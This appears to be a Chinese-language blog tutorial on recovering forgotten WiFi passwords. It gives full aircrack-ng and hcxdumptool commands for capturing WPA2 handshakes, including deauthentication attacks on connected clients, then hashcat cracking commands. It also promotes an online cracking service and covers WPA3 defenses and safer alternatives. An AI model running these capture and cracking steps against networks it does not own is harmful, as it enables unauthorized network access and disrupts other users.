WiFi 密码忘了怎么办?WPA2/WPA3 握手包恢复实战教程
家里换了路由器之后忘了 WiFi 密码,或者公司前任网管离职了没交接 WiFi 密码——这些场景比想象中更常见。这篇文章从技术角度讲解 WiFi 密码的加密原理和恢复方案,同时也会谈谈 WPA3 带来的安全改进。
WiFi 加密协议演进#
WiFi 安全协议时间线:
WEP (1997) → 已被完全破解,几分钟即可恢复密钥
WPA (2003) → TKIP 加密,存在已知漏洞
WPA2 (2004) → AES-CCMP,目前主流,安全性较高
WPA3 (2018) → SAE 握手,抗离线字典攻击
WPA2 的认证机制:四次握手#
WPA2 使用「四次握手」(4-Way Handshake)来验证客户端和路由器是否知道相同的密码:
WPA2 四次握手流程:
路由器 (AP) 客户端 (Client)
│ │
│ ── 1. ANonce (随机数) ──────────→ │
│ │
│ ←── 2. SNonce + MIC ───────────── │
│ (客户端的随机数 + 消息完整性校验) │
│ │
│ ── 3. GTK + MIC ────────────────→ │
│ (组密钥 + 确认) │
│ │
│ ←── 4. 确认 ───────────────────── │
│ │
关键点:
- 密码本身不在网络上传输
- 握手过程使用密码派生的 PMK (Pairwise Master Key) 来生成加密密钥
- PMK = PBKDF2(密码, SSID, 4096, 256)
- 攻击者可以捕获握手包,然后离线尝试猜测密码
为什么 WPA2 可以被离线恢复?#
WPA2 的安全模型:
PMK = PBKDF2(HMAC-SHA1, 密码, SSID, 4096, 256位)
↑ ↑ ↑
密码学哈希函数 WiFi名 迭代次数
PMK 是固定的(同一个密码 + 同一个 SSID = 同一个 PMK)
四次握手中的 Nonce 是随机的
攻击者的思路:
1. 捕获一次完整的四次握手包
2. 离线计算:对每个候选密码,计算 PMK,然后验证是否能生成正确的 MIC
3. 如果 MIC 匹配 → 密码正确
这就是为什么只需要捕获一次握手包,就可以无限次地离线尝试密码
第一步:捕获握手包#
要恢复 WiFi 密码,首先需要捕获一次完整的四次握手。
使用 aircrack-ng 套件#
# 安装 aircrack-ng
# Ubuntu: sudo apt install aircrack-ng
# macOS: brew install aircrack-ng
# 1. 将无线网卡设为监控模式
sudo airmon-ng start wlan0
# 网卡变为 wlan0mon
# 2. 扫描附近的 WiFi 网络
sudo airodump-ng wlan0mon
# 记录目标网络的 BSSID(MAC 地址)和信道(CH)
# 3. 针对目标网络捕获握手包
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# -c 6: 信道 6
# --bssid: 目标路由器 MAC
# -w capture: 保存文件名前缀
# 4. (可选)发送去认证包,强制客户端重新连接以触发握手
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# -0 5: 发送 5 个去认证包
# 这会让已连接的客户端断开并重新连接,从而触发新的握手
# 5. 确认捕获到握手包
# airodump-ng 右上角会显示 "WPA handshake: AA:BB:CC:DD:EE:FF"
# 6. 恢复网卡为正常模式
sudo airmon-ng stop wlan0mon
捕获握手包的前提条件:
1. 需要支持监控模式的无线网卡
不是所有网卡都支持!
推荐:Alfa AWUS036ACH、TP-Link TL-WN722N(v1)
2. 需要有一次客户端连接
如果当前没有设备连接到目标 WiFi
需要等待有设备连接,或者发送去认证包强制重连
3. 必须在目标 WiFi 的信号范围内
使用 hcxtools(更现代的工具集)#
# 安装 hcxtools
# Ubuntu: sudo apt install hcxtools
# macOS: brew install hcxtools
# 1. 使用 hcxdumptool 捕获握手包(更好的实现)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
# 2. 将 pcapng 转换为 Hashcat 格式
hcxpcapngtool -o hash.hc22000 capture.pcapng
# hash.hc22000 就是 Hashcat 需要的输入文件
第二步:密码恢复#
Hashcat(首选方案)#
# WPA2 密码恢复
hashcat -m 22000 hash.hc22000 wordlist.txt
# 使用规则变异
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule
# 暴力枚举(如果字典未命中)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 位纯数字暴力枚举
Hashcat 性能参考(RTX 4090):
WPA2 (PBKDF2-SHA1, 4096 次迭代): 约 600,000 次/秒
常见密码恢复时间估算:
8 位纯数字:10^8 / 600000 ≈ 3 分钟
8 位小写字母:26^8 / 600000 ≈ 3.5 小时
10 位小写字母:26^10 / 600000 ≈ 240 天
8 位字母+数字:62^8 / 600000 ≈ 360 天
WPA2 的 PBKDF2 迭代次数只有 4096 次(相比之下,Office 2013+ 用了 100,000 次),所以 GPU 加速的效果非常显著。
aircrack-ng(CPU 方案)#
# aircrack-ng 也支持字典攻击(但只用 CPU,速度慢得多)
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture.cap
# 性能参考(8 核 CPU):约 5,000-10,000 次/秒
# 比 GPU 慢约 60-100 倍
在线/云端方案#
如果本地没有强力 GPU,或者对命令行工具不熟悉,也可以考虑在线服务。
猫密网 支持 WPA/WPA2 握手包(.cap 文件)的密码恢复。你只需要用上述工具捕获握手包,然后上传 .cap 文件即可。
使用猫密网恢复 WiFi 密码的流程:
1. 用 aircrack-ng 或 hcxtools 捕获握手包(.cap / .hc22000)
2. 访问 catpasswd.com/recovery
3. 上传握手包文件(通常只有几 KB 到几 MB)
4. 等待恢复结果
优势:
- 无需本地 GPU
- 云端有更丰富的 WiFi 密码专用字典
- WiFi 密码有一些常见模式(手机号、8位数字等),
专业字典的命中率往往比通用字典高得多
WPA3:游戏规则的改变者#
2018 年发布的 WPA3 协议从根本上改变了 WiFi 密码恢复的游戏规则:
WPA2 的安全弱点:
✗ 握手包可以被捕获并离线分析
✗ 攻击者无需与路由器交互即可无限尝试密码
✗ PBKDF2 迭代次数低(4096 次),GPU 加速效果显著
WPA3 的安全改进:
✓ 使用 SAE (Simultaneous Authentication of Equals) 握手
✓ 每次认证都是独立的,无法离线重放
✓ 前向保密(Forward Secrecy):即使密码泄露,之前的通信也不会被解密
✓ 抗离线字典攻击:攻击者必须与路由器实时交互,每次尝试都有延迟
WPA3 SAE 握手 vs WPA2 四次握手:
WPA2:
攻击者捕获一次握手 → 离线尝试无限次密码
路由器不会感知到攻击
WPA3:
每次密码尝试都需要与路由器进行一次完整的 SAE 交换
路由器可以检测并限制尝试频率
离线字典攻击基本不可行
如果你正在设置新的 WiFi 网络,强烈建议使用 WPA3。它从协议层面消除了离线密码恢复的可能性。
WiFi 密码恢复方案对比#
┌────────────────┬────────┬──────────┬────────────┬─────────────────┐
│ 方案 │ 成本 │ 技术门槛 │ 速度 │ 适用场景 │
├────────────────┼────────┼──────────┼────────────┼─────────────────┤
│ 路由器管理页面 │ 免费 │ 低 │ 即时 │ 记得路由器密码 │
│ 已连接设备查看 │ 免费 │ 低 │ 即时 │ 有设备已连接 │
│ Hashcat + GPU │ 免费 │ 高 │ 极快 │ 技术人员 │
│ aircrack-ng │ 免费 │ 高 │ 中等 │ 无 GPU 的技术人员│
│ 猫密网 │ 免费起 │ 中 │ 取决于队列 │ 无本地 GPU │
│ 重置路由器 │ 免费 │ 低 │ 即时 │ 自己的路由器 │
└────────────────┴────────┴──────────┴────────────┴─────────────────┘
不用恢复密码的替代方案#
在动用手之前,先检查这些更简单的方法:
1. 路由器管理页面查看
登录路由器管理界面(通常 192.168.1.1 或 192.168.0.1)
在 WiFi 设置中可以看到或修改密码
2. Windows 已连接设备查看
netsh wlan show profile name="WiFi名" key=clear
# "关键内容" 一栏就是 WiFi 密码
3. macOS 已连接设备查看
security find-generic-password -wa "WiFi名"
# 或者在钥匙串访问中搜索 WiFi 名称
4. Android(需要 root)
查看 /data/misc/wifi/WifiConfigStore.xml
5. iOS
iOS 16+:设置 → Wi-Fi → 点击已连接的网络 → 点击密码即可查看
6. 直接重置路由器
如果是自己的路由器,按住 Reset 键 10 秒恢复出厂设置
然后重新设置 WiFi 密码
代价:所有配置(端口映射、DNS 等)都会丢失
WiFi 安全建议#
1. 使用 WPA3(如果设备支持)
WPA3 从根本上防止了离线密码恢复
即使密码较弱,攻击者也无法离线破解
2. 密码设置建议
至少 12 位
避免纯数字(8 位数字密码 GPU 上 3 分钟即可恢复)
避免手机号(容易被社工猜到)
推荐使用密码短语:如 "CorrectHorseBatteryStaple"
3. 隐藏 SSID 没用
隐藏 SSID 只是不在广播中显示名称
数据包中仍然包含 SSID 信息
不提供任何安全性
4. MAC 地址过滤没用
MAC 地址可以被克隆
抓包即可看到已授权设备的 MAC 地址
然后克隆即可绕过
5. 开启访客网络
访客使用独立的网络和密码
主网络保持安全,访客网络可以定期更换密码
结语#
WPA2 的安全性依赖密码强度。在 PBKDF2 迭代次数只有 4096 的情况下,GPU 可以每秒尝试数十万次密码。一个 8 位纯数字的 WiFi 密码,在现代 GPU 面前只需要几分钟。
如果你现在还在使用 WPA2,至少确保密码是 12 位以上的混合字符组合。更好的选择是升级到 WPA3——它不仅保护了你的网络,也从根本上消除了离线密码恢复的可能性。
最后,如果你只是想找回自己的 WiFi 密码,最快的方式通常不是破解,而是登录路由器管理页面查看,或者在已经连接过的设备上查看已保存的密码。
阅读其他文章